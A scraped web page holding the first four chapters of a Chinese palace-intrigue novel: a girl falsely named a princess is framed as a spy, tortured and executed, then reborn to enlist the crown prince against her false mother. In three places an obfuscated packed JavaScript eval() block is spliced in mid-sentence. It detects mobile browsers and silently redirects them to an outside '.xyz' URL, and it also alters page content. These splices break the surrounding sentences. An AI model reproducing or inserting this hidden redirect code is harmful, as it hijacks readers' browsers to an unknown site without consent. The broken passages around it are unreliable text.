《骗婚疯批太子后》 1. 第 1 章 入春之后,风还料峭,雨已经一场暖过一场。 傍晚时分的一场雨过后,梨花的香气潮湿盈满了上京城的每一个角落,热闹的,光鲜的,隐蔽的,阴暗的。 光线昏暗的牢房内,女子气若游丝伏在地上,看起来似乎刚刚经受过酷刑。她的灰色囚衣被鲜血浸透,露出的手腕与后颈上布满了新旧不一的伤痕,有些已经结痂,有些还新鲜渗着血,与绽开的皮肉模糊在一起,看起来甚是可怖。 走廊里远远传来狱卒打开门锁的声响,女子缓缓半睁开眼,蜷着的手指微微抽动了下,指节以一种诡异的姿势绵软弯曲着,显然已经被夹断多时。她的脸上满是血污,看不出原本的面貌,一双黑眸里毫无生机,没有绝望,也没有痛苦,只有无边无际的空洞麻木。 狱卒的脚步声在门前掠过,骂骂咧咧走向隔壁的牢房。女子的眼珠终于迟缓转了转,落向角落里那扇狭窄的窗。 她神思恍惚想,这样亮的月光,应该又到十五了吧? 一个月前,裴旖被带进诏狱的那一日也是十五。 那日早上,她像往常一样到母亲房中请安时,府上忽然到来几位官差。为首的指挥使脸色严肃,向她母亲昭阳长公主行过礼后,一副公事公办的语气,说她身为南呈国的探子顶替幼安郡主的身份,意图接近谋害东宫储君。 面对这突如其来的荒谬罪名,裴旖惊愕又茫然,然而根本不由她辩解,紧接着那几个人便在她的卧房中搜出了南呈的令牌。 她震惊不已,反应再慢也明白过来是有人蓄意陷害自己。可是她实在想不通,她才来到京城、才回到这个家里三个月,会是谁想要置她于死地? 三个月前,她还是长陵裴家的女儿。 裴家祖上三代以经营医馆为生,裴旖是长女,下面还有一个小她一岁的幼弟。从记事起,母亲楚氏对她的态度一直不冷不热,不管她如何乖巧懂事,对方的反应始终是淡淡的,吝惜于分一些关注给她。她反复自我安慰,母亲只不过是更疼爱幼子一些罢了,直到及笄那年她才从养父口中得知,自己原来并非养父母所出。 十八年前,裴家夫妇二人行医时路过一个战毁的村庄,在村口的水祠里发现了一个女婴。当时她不知已经饿了几日,脸色青白,哭声极其微弱,而在她的襁褓内有一枚质地上乘的蝴蝶玉佩,低调彰显着她的出身非富即贵。 这些年来养父一直待裴旖视如己出,也开明地支持她去寻找自己的亲生父母。五个月前有人到裴家认亲,养父担心她寻亲心切被人蒙骗,陪着她跟随对方来到京城,这才知道她的亲生母亲竟是当朝皇帝唯一的妹妹昭阳长公主,而她正是长公主十八年前丢失的女儿,幼安郡主,陆婉柔。 母女初次相见时,长公主看到她手里的玉佩后瞬间泪如雨下,将她紧紧揽进怀里。那日之后她便留在了长公主府,长公主待她极好,经常带着她出入大大小小的各种宫宴,似乎恨不得要向天下人炫耀自己失而复得的女儿,同时不厌其烦地制造机会推她去与太子相处,并抚着她的肩微笑宽慰她说无需害羞,她和太子两人是从小定下的婚约,将来她是要入主中宫的。 相比于这份珍贵的母爱,裴旖对权力并无太多憧憬和欲望。她沉溺在有母亲宠爱的幸福里,却时常隐隐有种不真实感,觉得一切都恍惚得像是梦一样。她从未想到自己的出身竟然如此高贵,更从来没有想到,这场梦会醒来得如此之快。 十几岁的少女到底涉世未深,被扣上敌国探子这般重大的罪名时,下意识求助望向最信任的母亲。 长公主脸色沉肃,一改往日的宠溺慈爱,只说让她配合查清此事,若能洗清楚嫌疑,诏狱的人自然不会为难她。 裴旖顿时心凉了半截,知道对方是对自己起了疑心,但长公主都已发话,她也别无他法,只能跟随官差而去。她心中虽然恐惧,可也尚存着侥幸,在此事最终定论之前,自己到底还是郡主,即使他们要审问,应该也不会太过分。同时她也还抱有一丝幻想,自己是被奸人所害,母亲即便是怀疑她也定会在外面尽快查明此事,还她清白,接她回家。 但进入诏狱之后,才是裴旖噩梦的真正开始。 起初他们的审问还中规中矩,饮食起居也看在长公主府的面子上照拂一二,但审问一直胶着,她无法解释那枚令牌为什么会出现在她的房间里,唯一能自证身份的玉佩也被她在入狱的前一日遵循母亲的意思当作信物送给了领兵出征的太子。三日之后,许是案子一直僵持着不见进展,他们将她带到地牢,开始用刑。 她的手指是在第一天被夹断的,跟着一起断掉的还有她心底残存的微弱期待。她痛得几欲神智不清,脑子却前所未有清醒,长公主府已经彻底认定了她是假郡主,所以这些人才敢如此对待她。 那日之后,裴旖就再也没有过半刻的安宁,她几乎将诏狱里的酷刑全部受了个遍,无数次体会到了求死不能是什么滋味。支撑着她活下去的是一缕不甘的残念,她不甘心就这样不明不白死了,她不甘心才找到亲生母亲就被奸人陷害阴阳两隔,她不甘心背负不属于她的罪名惨死在这暗无天日的角落。 柔弱的单薄身躯不可思议地熬过了一次又一次的酷刑,她从来没有一刻放弃过求生,直到某日午后,诏狱里终于来了一位长公主府的人。 彼时裴旖刚刚经受了水刑,途中晕过去三次,最后被一盆刺骨的冰水浇醒,虚弱躺在地上,身体控制不住打颤,浑身狼狈湿透。对于一名女子来说这不仅是身体上的折磨,更是精神上的羞辱,可此刻的她哪还有什么体面可言,她连翻身避开狱卒视线的力气都没有,陆从周就是在这个时候走进来的。 长公主早年丧夫,与驸马仅有一儿一女。陆从周是陆婉柔的兄长,一向不苟言笑,冷淡少言,裴旖在府上不常能与他碰面,有些意外前来的人竟然是他。 他站在一旁居高临下看着她,对身后的狱卒平静问了句:“还没认?” 裴旖无力闭了闭眼,喉咙里咸腥的血味弥漫开,心里最后一丝渺茫的希望彻底覆灭。 两个狱卒闪烁其辞,似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930945|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在观察陆从周的反应。他从她身上收起视线,迈步离开:“尽快。” 从他走进来时裴旖就已经预见到了这样的结果,她心里清楚,他是在催促,即使是她愿意苟活,长公主府也势必不能留下她这个探子的性命。 他们才相认短短三个月,她不怪他们对她没有信任。在京城的时间虽短,她也见识到了许多尔虞我诈,诡谲莫辨。十八年前,前朝气数已尽,晏家于乱世在一众藩国里杀出重围,建立昱朝,如今朝中局势还未完全稳固,外敌同样虎视眈眈,隔三差五便有敌国的刺客与探子的尸首被悬挂在城楼上示众。 长公主府处于权力斗争的漩涡中,此刻急于与她切割关系明哲保身她可以理解,只是她实在想不通,他们当真从来没有一刻怀疑过她是蒙冤吗? 她在长陵十八年的成长轨迹一探便知,若有心去查,还她清白并非难事,可他们却只用了三天时间就抛弃了她。即使是他们再疑心,事关重大,为人父母兄长怎么可能如此草率地下定结论?他们难道就一点都不害怕在牢狱里受尽酷刑的“探子”真的是他们的亲女儿,亲妹妹? 再退一步说,长公主府守备森严,究竟是何人能神不知鬼不觉进入她的卧房毫无痕迹藏下令牌?今日的一切到底是因为他们受奸人蒙骗,还是因为这整件事情的背后,是一场更大的阴谋? 裴旖不敢再继续想下去。 她自欺欺人闭上眼,心头无比苦涩。她从来没有奢求过荣华富贵,郡主或是太子妃于她而言都毫无意义,从始至终她所求的,就只有那一个心愿而已。 在来人离开之前,她阖着眼,突然气若游丝开口:“母亲……还好吗?” 那道脚步声缓缓停住。 陆从周回头望着她的侧脸,神色有些复杂。他沉默着,似乎不知该怎么回答她的话,半晌后,抬起脚离开了。 之后,不知诏狱那些人从哪里搞出来一封信,说是她与南呈探子的往来证据。她神思迟缓地看了眼信纸,上面的字迹还真与她的有九分相似。如此一来铁证如山,无需再审问下去了,她被狱卒强制画押认罪送回牢房,隔天早上,他们送来一杯毒酒。 在她死后,她的尸体照例被悬挂在城墙之上以儆效尤。许是她的怨念太过深重,她的魂魄不得轮回,孤零零游荡在京城上空,而几乎是在她的尸体被吊上去的同时,长街上人潮如涌,声浪鼎沸,浩浩荡荡的队伍仪卫整肃,威风赫赫,华美的轿辇在众人簇拥下缓缓前行,侍女们沿街抛洒喜钱,道路两旁的百姓争先高呼:“恭迎幼安郡主回府!” 裴旖幽幽看着街上普天同庆的热闹盛况,第一次知道,原来鬼也会觉得冷。 透骨的阴冷从四面八方将她紧紧包裹,明明是温暖的春日,可那寒意却似能穿透魂魄,一寸一寸地将她啃食吞噬。 她最不愿意去相信的那个可能终究还是成了真。 原来,她真的不是郡主啊。 而能让堂堂长公主府如此大费周章为她演戏拖她入局,她的真实身份,到底是谁? 2. 第 2 章 裴旖迫切想要知道真相,可是魂魄的力量有限,她没有办法离开城楼太远,只能尽力接近人群。 在街角的茶楼上,她听见几个人议论:“郡主回府?郡主在几个月前不就已经找到了吗?” “是啊,前段时日和东宫的婚事还传得有模有样的呢,太子这次亲自带兵攻打凉昭不也是因为她吗?” 其中一个人压低声音:“我听说啊,之前那个郡主,是假的。” “假的?” “此事你们听过可莫要外传,我家三哥在监牢当差,他和我说那个假郡主是敌国的探子冒充的,死前受尽了酷刑都没有招,全身上下被折磨得没一块好地儿……喏,现在尸体就在城楼上挂着呢。” 桌上几人闻言惊讶不已,纷纷往城楼的方向远远望了一眼,戏谑啧了声:“冒充郡主也就罢了,她还敢接近东宫,这不是自寻死路吗?” “可不是吗,她真该庆幸太子领兵出征了,倘若他此刻还在京中——” 男人哂笑,“胆敢欺骗到储君头上,还险些与他成了婚,那位赐她凌迟都是大发善心,十有八九要将她剖开了扔进朱雀司里喂鹰。” 裴旖不禁苦笑,心里倒是也认同他们的话。上京城谁人不知太子晏绥的手段,他性情冷傲莫测,行事狠戾果决,上一个行刺他的刺客事败后欲服毒自尽,硬是被他从鬼门关拉回来然后折磨至死。若是落在他手里,她哪还可能有全尸? 众人说说笑笑,天家的恩怨生死不过是他们茶余饭后的谈资。其中一人喝了口茶,忽觉奇怪:“不过,如此重大的事情,长公主府怎么会认错人呢?” “寻女心切,所以架不住奸人暗算啊。郡主十八年下落不明,又与太子有婚约,是未来的中宫娘娘,多少双眼睛盯着这个位置呢。” 说话的人拿折扇指了指不远处的城楼,接着悠悠道,“富贵险中求,不光是她自己,听说在长陵时与她合谋欺君的那一家子,也被一把大火烧干净了。” 裴旖蓦然睁大了眼,颤抖的狭长黑瞳被滔天的愤怒吞噬。她在狱中生不如死时唯一担心的就是养父母一家会受到牵连,果然,果然长公主府没有放过他们! 她到底是谁,竟然值得长公主如此费尽心机屈尊降贵与她扮演了三个月的母女情深?她到底是谁,竟然值得他们将她残忍折磨致死还尤嫌不足,在她死后还要不遗余力毁灭掉她过往的所有痕迹?! 然而路人也都只是道听途说,哪里会知道真正的内情。她的一缕孤魂带着仇恨日复一日生死不能地煎熬着,春去冬来,茶楼上的人来了一批又走了一批,她也在众人的八卦中听闻,凉昭战事胶着,太子征战不顺,左膀右臂均战死沙场,回京的日期一推再推。 秋闱泄题,圣上大怒,朝中官员大换血,新人均是由长公主和璟王姐弟举荐。 冬狩时皇帝遇到行刺,刺客全都是死士,身上搜出来的暗器是前朝的工艺。 春节前郡主府开府,全京城的贵族齐聚,据说郡主府内的陈设比公主的宫殿还要华贵十倍。 到第三年春时,太子终于凯旋,城中却诡异的没有任何欢迎仪式。 那是个阴天,清早的上京还雾茫茫的,裴旖在城楼上,远远看见他的身影穿透层层白雾,只身一人先行回到京城。 他身着玄色铠甲,面容比两年前她最后见到的模样更加清瘦粗糙,整个人的气场也更显沉敛锋利,周身的肃杀之气十分浓烈。在经过城楼时他勒着马停了下来,突然发问:“长陵裴女现在何处?” 裴旖愣了一下才顺着守卫指来的方向反应过来他是在问自己。她诧异又好笑想,他千里迢迢从凉昭回来,第一件事该不会是要把她的尸身拽下来挫骨扬灰吧? 马上的人没有再说话,仿佛只是随口一问。守卫开门放行,裴旖看他骑马的背影孤零零的,鬼使神差跟在他身后行了一段路,反应过来后才蓦然发现自己竟然可以跟着他离开城楼,进入皇宫。 她震惊不已,但来不及深究,他下了马后的脚步很快,她一只鬼都追得有些吃力。他们一人一鬼到达太和殿时,文武百官正在早朝,见他一身凛冽煞气地走进来,纷纷下意识侧身避让,唯独一个文官模样的年轻男人从人群中走了出来,义正言辞启奏太子与前朝遗臣勾结,意图谋权篡位。 此言一出,满庭哗然。那人接着拿出一支短箭,声称箭筒内藏着书信,是在太子归京途中截获。他举起那支箭呈给晏绥,无声逼他当众作出回应。 晏绥一言不发,定定看着龙椅上的人。裴旖坐在殿前的石狮子上看着热闹,心中无声冷笑,无论是民女还是太子,要诬陷一个人的手段也无非就那么几套。 她一无所有,只能任人宰割,而他什么都有,她倒想看他会怎么化解。 片刻之后,晏绥面色不明掀了下唇。 他抬起手,骨节分明的修长手指轻佻夹起那支箭。所有人都凝神紧盯着他的动作,他突然猛地甩动手腕,众目睽睽之下,那支短箭“嗖”一声划破沉肃空气,笔直插进了面前人的喉咙里。 四下陷进死一样的寂静,年轻男人难以置信瞪大了眼,而后扑通一声僵直倒在地上,瞬间断了气息。 晏绥负手静静立在殿中,脸色晦暗不明。殿外的侍卫慌慌张张跑进来报:“禀,禀陛下,东宫的亲兵已经到达西城门,后面,后面跟着前朝的金麟军!” …… 战火烧了三天三夜,晏绥赢了,但损伤惨重。 皇宫被血洗,所及之处皆是满目疮痍,与他一同出征的人全都留在了边境之地,他独自孤零零坐在废墟里,左边脸颊被利刃划出一道深见白骨的骇人伤口,半凝固的血色铺染了半张面孔,瘆人又妖冶。 宫内外皆道是太子与前朝遗臣勾结谋反,但实际上这只是一场皇族内部的权力斗争而已。长公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930946|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璟王姐弟利用凉昭战事将太子拖在边境,一边趁机清洗朝中势力,一边铺垫诬陷东宫谋反,最终璟王和长公主被囚禁府中,党羽全部抄家落狱。侍卫来向晏绥请示该如何处置二人,他沉着眸,半晌,没有回应这个问题,而是下了另一道命令:“以郡主的规格安葬裴女,然后送出京城。” 裴旖听言大为震惊,侍卫同样也很诧异,迟疑着问:“殿下,这……” 他并未解释,起身走上台阶,几步后,忽然转回身从怀里掏出一枚蝴蝶玉佩朝对方扔了过去,漫不经心道:“这个,跟她一起下葬。” 裴旖心脏猛地悬紧,死死盯着他手里的东西。他们两人虽有婚约在身,但仅有几面之缘,她以为他在得知她是假郡主后早就扔掉了她的东西,完全没有想到他竟会随身带在身上,直至回京。 他下令安葬自己已经相当出乎意料,随身带着她的玉佩更是匪夷所思。裴旖直觉他这样不合常理的态度或许与自己的真实身份有关,她太过急切想知晓真相,以至于忘记了自己只是个鬼魂,她迫不及待往前几步想要跟上他,却在刚刚靠近那枚玉佩时突然被一道铺天盖地的强烈白光席卷吞没,瞬间失去了意识。 恍惚中裴旖感觉自己像是被裹挟在一场疾速下沉的飓风中,但她却奇异地不觉凛冽,而是前所未有的平静和心安。当风声渐渐褪去后,清浅的梨花香气缓缓沁入鼻息,耳旁的催促声也由远及近响起:“郡主……郡主您醒醒……殿下回来了……” 裴旖缓慢睁开眼,面前说话的人是她在长公主府时的婢女,青霜。 她似梦非梦坐起来,抬眸环顾着四周,傍晚的天光艳丽又黯淡,将满园的春色蒙上层绮丽而晦暗的纱,而她身处皇宫花园的水榭里,隔着一条湖与她遥遥相望的,就是东宫。 裴旖涣散的眸光徐徐凝起,指甲嵌进略微潮湿的掌心,陌生的疼痛感恍如隔世,她不是在做梦。 她竟然重生了? 裴旖不可置信望着眼前的景象,心脏剧烈狂跳,耳边嗡嗡作响。 眼前这个地方,上一世她曾经来过。太子将会在明日一早启程,而她遵循长公主的意思,在这一晚来到东宫将她随身的蝴蝶玉佩交给了他,望他平安归来。 也是以这一日为分界, 他出征凉昭,九死一生,被陷叛国。 她留在京中,受尽酷刑,含冤惨死。 从她送出玉佩的那一刻起,他们两人的命运就阴差阳错交缠在了一起,纵使前世之事还有许多不分明,但也足够了,足够她让所有残忍利用过她的人付出代价,足够她改变这一次失而复得的人生。 裴旖黑眸里的汹涌水光逐渐冷静平息,身旁的人没有觉察到她的异样,再次出声催促,提醒她长公主还在等她回府用晚膳。 她淡淡应了一声,神色清冷站起身,穿过太液池,走进了那扇朱红色的大门,走进了久违的春夜里。 3. 第 3 章 “殿下,郡主来了。” 近侍将裴旖带入书房后,恭敬退了出去。 房间内有两个人,太子坐在桌案后的椅子上,身着一袭暗金纹的玄色蟒袍,手上把玩着一支匕首,见她进来只是略抬了下眼,没有其他的表情。 他的容貌极其出众,五官深邃立挺,骨相的每一分起伏都恰到好处,与生俱来的高贵感与他身上浑然天成的压迫气息相辅相成。 裴旖站定之后,暗暗定了定心神,看了眼地上站着的另一人,东宫的侍卫统领,徐谨行。他向裴旖行一礼后要抬脚离开,被椅子上的人叫住,同时冷淡问她:“你有何事?” 裴旖有些为难地看了晏绥一眼。 她心里十分清楚,她的敌人是长公主府,自己若想逆天改命,就必须得借助比长公主更有权势的人。这样的人普天之下只有两位,一是皇上,二就是面前的人。 眼下她第一步要做的事便是阻止他离京,从凉亭走过来这一路她大概想好了说辞,可太子为人一贯散漫孤傲,行事从不履常理,想要欺骗他绝非易事,她并没有十足的把握,只能硬着头皮尽力一试,此刻还要在第三人的注视之下面不改色编谎骗他,于她而言当真是难上加难。 见她轻抿着唇沉默,面庞似有难色,徐谨行望了眼椅子上的人,解围道:“殿下即将离京,想来郡主是来送行的,属下还是——” 对方淡漠打断他:“孤与郡主并不相熟,既是送行,也耽误不了什么功夫。” 一句话与她撇清了关系,同时也是在告诫她,她来找他是耽误了他们的公事,她每多磨蹭一刻便是多耽误他一分。 徐谨行只得停下脚步站在一旁,神色略有无奈。裴旖心里叹一口气,微微低下脸,轻声开口道:“臣女此番前来并非送行,而是恳请殿下不要出兵凉昭。” 徐谨行闻言意外看她一眼。晏绥的声线听不出起伏:“为何?” 裴旖垂着眼睫,一鼓作气道:“半个月前,凉昭使臣向大昱求娶幼安郡主,臣女以为是计,意在以人言协迫殿下亲自领兵出征。” 房间内一时无声。裴旖心脏砰砰作响,感受到那道沉冷视线在自己额前探究停了许久,最后,他意味不明开口:“郡主何出此言?” 三个月前,裴旖刚回到长公主府,与太子的婚约迅速传遍了皇宫内外,偏偏在圣上拟旨昭告天下的前一日,凉昭使臣突然前来,指名求娶昭阳长公主之女,幼安郡主。 此言一出,满堂寂静。 身为凉昭使臣,不可能对太子与郡主的婚约毫不知情,此举无疑是未将大昱放在眼里。镇南侯的性子最烈,当即拍案而起,怒斥使臣嚣张狂妄,对方不紧不慢补充道:“昔年凉昭王世子途径长陵时曾遭人暗算,性命垂危之际为郡主所救,从此一见倾心,念念不忘。世子此生别无所求,愿为郡主与大昱签订盟约,让出云、尧二州,同时在边境开展互市贸易,利国利民,以一段佳话,换两国和平。” 这番理由听起来入情入理,加之其主动让出边境两州,姿态不可谓没有诚意,皇帝也不好立即应允或是拒绝。隔天上朝时,官员中主和与主战的人吵得不可开交,与此同时,郡主要去凉昭和亲的消息也迅速在京城里传开了。 凉昭与中原乃是多年死敌,从前朝起就一直对上京虎视眈眈,百姓议论纷纷,虽都不愿再经历战争,但一来求娶准太子妃这种事太侮辱人,这次若是应了对方下一次还不知会再提出什么要求。二来凉昭之人野蛮善战,民间普遍不看好以和亲缔造两国之好,就连金明湖旁茶楼里的说书人都紧跟时事,一拍醒木,慷慨激昂:“凉昭非我族类,难以驯服,能否履行盟约尚且未知,岂能信他所言,如他所愿?” …… 彼时的裴旖对自己的郡主身份深信不疑,又对朝堂之事一知半解,以为和亲一事只是巧合罢了。如今重活一世,她以一条命为代价,终于影影绰绰看清了这盘棋背后暗藏的阴谋。而她作为一颗即将被长公主弃掉的棋子,投靠到对方阵营是她唯一的活路。 她凝定心绪,慢声清晰回话道:“臣女从识字起就一直在养父的医馆帮忙,当日使臣所言臣女曾救过世子一事无从考证,但五年前臣女曾遭恶人骚扰,之后举家被迫搬迁,臣女在医馆里多以男装示人,此为一。” “臣女刚回到长公主府三个月有余,养父一向小心谨慎,当初送臣女来京时对外只称是探望远亲,从未向外人声张过臣女的身份,可凉昭使臣不仅动作如此迅速地前来求亲,且对臣女以前的身份也了如指掌,此为二。” “陛下体恤臣女母亲,不忍见母亲与臣女再度骨肉分离,因此与凉昭另行商议条件,提出换一位贵女前去和亲,同时每年加以黄金封赏。此举已是给足凉昭颜面,凉昭连年征战,又不善商贸,财力虚空,按理说没有不同意的道理,可使臣非但不为所动执意要臣女和亲,还不惜在京中散布谣言诋毁殿下声誉,直至协商彻底陷入死局,殿下决定亲自领兵出征——这既不符合两国的谈判之道,也不符合凉昭一族勇而无谋的特性,此为三。” 裴旖暗暗深吸口气,最后道,“因此,臣女以为,凉昭此次主动求和是假,意图对殿下不利是真。” 她的话音落下后,面前的人久久没有回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930947|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里安静得出奇,裴旖心中忐忑不安,漆黑睫毛极轻地颤着,半晌之后,椅子上的人终于阴晴莫测开腔:“你的意思是,有人与凉昭里应外合,故意将你的身份透露出去,拿求娶你作为幌子,实则是为了以你和孤的婚约,逼迫孤亲征凉昭。” “臣女确有此疑心。” “这个人是谁?” 裴旖轻轻摇头:“臣女不知。” “那在孤出征之后,他们又意欲对孤如何?” 他的腔调漫不经心,好像是信了她的话在认真与她探讨,又好似根本就没相信她,只是顺着她的话随口试探。 裴旖心里没底,迟疑少顷,谨慎回道:“殿下出师,必定无往不利。但纵使殿下英明神武,毕竟分身乏术,若殿下因战事被拖在边境,只怕给京中奸人留有可乘之机。” 面前人听言忽然笑了,只是那笑声并不令人觉得亲切,反而使人后颈阵阵发凉。徐谨行先一步觉察到他身上的危险信号,有些担忧又怜悯地看了身旁的女子一眼。 “此人既能勾连外族在朝中兴风作浪,势力必然不容小觑,孤思来想去,人选倒是不多。” 他闲散倚在椅背上,拿手中的匕首点着指尖,“璟王,豫王,平国公,镇南候,长公主。” 裴旖心一沉,下意识抬起眸,对上他似笑非笑的眼。 他的眸幽深而锐利,带着摄人心魄的力量,隔着一张桌案将她牢牢裹挟。他扯开唇尾,笑着问她:“依郡主之见,这个勾结外敌谋权篡位之人,是谁呢?” 窗外天色全然暗了下来,他的脸被笼在阴影里,神色看不清晰。裴旖紧张屏息,轻轻启唇:“臣女——” “别说你不知。” 对方打断她的话,同时手里的匕首不轻不重扔到桌案上,发出一声压迫性极强的闷响,仿佛敲在她的心脏上。 “方才郡主头头是道说了这么多,实在让孤很难相信你不知情。” 裴旖太阳穴狠狠跳了两下。政敌的女儿跑来敌营自曝,任谁看都是居心叵测图谋不轨,更何况对方还是以冷血狠戾而声名在外的太子。她知道自己已经骑虎难下,一瞬短暂的慌乱之后,却又好似忽然镇定下来,沉默向后退了一步,而后垂着睫朝他跪了下来。 月白色的裙摆随着她的动作漾开,宛若窗外树枝上沉甸甸的梨花。女子的声线轻柔恳切,说出来的话却没头没尾:“请殿下庇护臣女。” 晏绥无声盯着她的脸,黑眸里的探究浓重幽沉。 她接着轻声细语道:“有人欲在殿下离京之后,以假乱真,取代臣女的郡主之位,对东宫不利。” 4. 第 4 章 徐谨行闻言诧异看向身旁的女子,而后又看了眼座上的人。 东宫与长公主府一向面和心不和,只是这门婚约是当年先帝定下来的,双方都无法违背而已。平常看起来不声不响的郡主今日忽然前来说了这番话就够离奇的了,更离奇的是,殿下竟然也有耐心听她说下去。 椅子上的人脸色晦暗莫测,漆沉眸光玩味凝在她的脸上,显然是不相信她的话,但却在好奇她这个人:“这又是什么话?” 裴旖默默压了压心中的紧张不安,开始编撰道:“数日之前,和亲之事尚未确定,臣女乔装去了一趟使臣所住的桃源驿,原本是想从侧面打探一下凉昭王世子的情况,却意外在门外撞见那凉昭的使臣毕恭毕敬对着一人。那人身上的衣物明显是上京的打扮,而且看起来价值不菲,臣女心觉有异,悄悄听了下去,未曾想那两人竟是在密谋殿下亲征凉昭之事。” “那使臣先说:我们已经按照您的吩咐派人将那些言论在京中散播出去了,此次太子若是不亲自出兵定会沦为上京城的笑柄。可眼下都过去十来日了,东宫那边还是没有传出消息来,倘若太子此次真的没有亲征凉昭,而是留在京中完婚,我们可还要按照原计划对郡主动手?” “臣女骤然听见事关自己,心惊不已。接着另一人回道:自然,无论太子出征与否,嫁进东宫的人都轮不到她。” “使臣恭维说:大人好筹谋,此次太子出征凉昭是最好,若是他没有离京,待新郡主嫁进东宫后也可为我们留意太子的动向。” “那人又问:我要的东西你带来了吗?使臣听言从怀里掏出一块鸦青色的圆形令牌,放到了桌子上。” 徐谨行原本还对她半信半疑,听到此处时眸光陡然凝了起来。 裴旖略微停顿,继续娓娓道:“使臣的神色有些犹豫,对那个人说,倘若是太子参与到此事中来的话,单凭一块牌子,只怕没那么容易给郡主定罪。” “那人悠悠道:眼下长公主已经对她起疑了,只要长公主相信了她是假郡主,那她无论如何都是欺君之罪,到时候就算是他晏绥有天大的能耐,还能插手别人的家事?” “之后走廊上有人经过,臣女怕被人发现,就没有再听下去了。” 裴旖深吸口气,接着道,“回到家中后,臣女越想越觉得惶恐。臣女在长陵十八年,只接触过治病救人,对朝堂之事知之甚少,那日臣女没能看到那个人的相貌,无从猜测对方的身份,但此人既敢谋算储君,必然也敢对臣女下手,更何况他话语中涉及臣女母亲,疑似暗中早有动作铺垫。臣女在京中无依无靠,不知除了母亲还能向谁诉说此事,更担心贸然声张此事会打草惊蛇,来日被诬陷时更加有口难辩,引来杀身之祸。” 她用指甲掐住手心,回想起上一世自己临死前受的折磨,轻轻松松挤出来几滴眼泪,欲掉不掉地挂在睫上,“此事事关重大,臣女仅凭一面之词,原本不敢声张,只是想来提醒殿下不要亲自出兵凉昭。” 她低下头,声音些微哽咽,“今日臣女并非有意隐瞒殿下,事出无奈,还望殿下明察。” 面前的男人定定看着她的脸,许久,沉淡不明发问:“你想让孤怎么庇护你?” * 从东宫出来时,夜色已经重了。 裴旖默默长松口气,松开了沁出潮湿凉意的手心。一旁等候多时的青霜上前给她披上披肩,小声关切问:“郡主怎么这么久才出来?不顺利吗?” 裴旖不动声色看着身旁的人,自从她来到长公主府后一直是由青霜贴身伺候,今晚她是带着长公主给太子送行的任务来东宫的,而青霜应该也是带着监视她的任务过来的。 刚刚在书房内她隐约听见青霜似是想进来,但被太子的近侍拦住了。她暗暗握了握藏在袖口里的蝴蝶玉佩,平静道:“顺利。” 青霜抿起嘴笑了,她年纪小裴旖两岁,性情伶俐活泼,一路在裴旖耳边絮絮叨叨:“……太子殿下这一去不知要几时才能回来,依奴婢说,睹物思人,郡主要多给他留几件念想之物才好呢,最好是衣食住行都占全了,那殿下还不得时时刻刻都想着郡主?” 裴旖一面心不在焉应付着青霜的话,一面设想着接下来即将发生的事。约莫半刻钟后,马车在街角的一处气派府邸前缓缓停稳。裴旖在青霜的提醒下回过神来,她踏下车,看着门头匾额上的几个大字,回想起上一世自己初次来到这里时的激动和忐忑,不禁冷冷自嘲扯唇。 她抬起脚迈上台阶,管家迎着她走向膳厅。厅门前站着一位四十有余的妇人,身材高挑,长相美艳,身着一袭华贵的紫色衣裙,腰身与裙摆上奢侈地坠满了繁复的珠宝,与她头上镶满朱翠的冠饰相得益彰,倘若是不知情的人见了还会以为她是刚从哪个宫宴上回来,殊不知这般的盛装只是她每天的日常罢了。 关于昭阳长公主的旧事,裴旖在到长公主府之前就听说过一些。晏月华是家里唯一的嫡女,年轻时被父母兄长宠得跋扈骄纵,无法无天,之后嫁人生子,又历经战乱,年岁上来后气质也沉稳了些,但依旧张扬高傲,盛气凌人。再反观自己,与她从五官到性格都毫无相似之处,这样的两个人怎么可能会是母女呢? 裴旖心中无声苦笑,袖子里的手指攥成了拳,屏息用力压下了心头的滔天恨意,挤出一个乖巧娴静的微笑:“母亲。” 晏月华往前一步,揽着她走进膳厅,瞟一眼她的侧脸,亲切询问道:“怎么脸色这样苍白,是不是阿绥又叫你空等?下次我见了他定不饶他。” 裴旖自嘲暗想,这次倒不怪太子,是她自己方才谎话编得太多,心虚不已,身体和神思都一直紧紧绷着。 待晏月入座后,裴旖在她身侧的位置坐下,尽力保持着语气平静:“太子殿下即将出征,要准备的事务繁多,女儿只是在凉亭里等了片刻,不碍事的。” 晏月华笑着揶揄:“瞧瞧,这还没嫁出去呢,就开始替人家说话了。” 裴旖装作害羞垂下眼,桌旁的几个婢女都跟着悄悄笑了笑。房间内一时母慈女孝,温馨融洽,裴旖无声藏起眸底的冷意,身旁青霜布菜后放下筷子,笑着向主位的方向道:“太子殿下也舍不得咱们郡主,方才和郡主在书房里说了好半天的话呢。” 